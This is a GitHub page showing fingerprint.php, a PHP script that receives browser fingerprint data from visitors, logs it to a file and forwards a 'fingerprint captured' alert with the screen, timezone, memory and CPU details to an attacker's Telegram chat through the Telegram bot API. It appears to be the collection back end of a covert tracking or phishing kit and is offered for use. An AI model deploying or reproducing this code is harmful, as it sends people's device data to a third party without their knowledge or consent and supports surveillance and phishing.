-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfingerprint.php
More file actions
22 lines (20 loc) · 956 Bytes
/
fingerprint.php
File metadata and controls
22 lines (20 loc) · 956 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!file_exists('logs')) mkdir('logs');
$data = json_decode(file_get_contents('php://input'), true);
if ($data) {
$log = "[" . date("Y-m-d H:i:s") . "] Fingerprint Data:\n";
$log .= print_r($data, true) . "\n";
file_put_contents("logs/fingerprints.txt", $log, FILE_APPEND);
// Telegram Notification
$botToken = "ur bot token";
$chatId = "6730758751";
$message = urlencode("📱 BROWSER FINGERPRINT CAPTURED DEVELOPED BY KOLEUL\n\n"
. "🖥️ Screen: {$data['screen']['width']}x{$data['screen']['height']}\n"
. "🌐 Timezone: {$data['timezone']}\n"
. "💾 Memory: {$data['deviceMemory']}GB\n"
. "🛠️ CPU Cores: {$data['hardwareConcurrency']}\n"
. "📲 Touch: " . ($data['touchSupport'] ? 'Yes' : 'No') . "\n"
. "🕒 Time: " . date("Y-m-d H:i:s"));
file_get_contents("https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatId&text=$message");
}
?>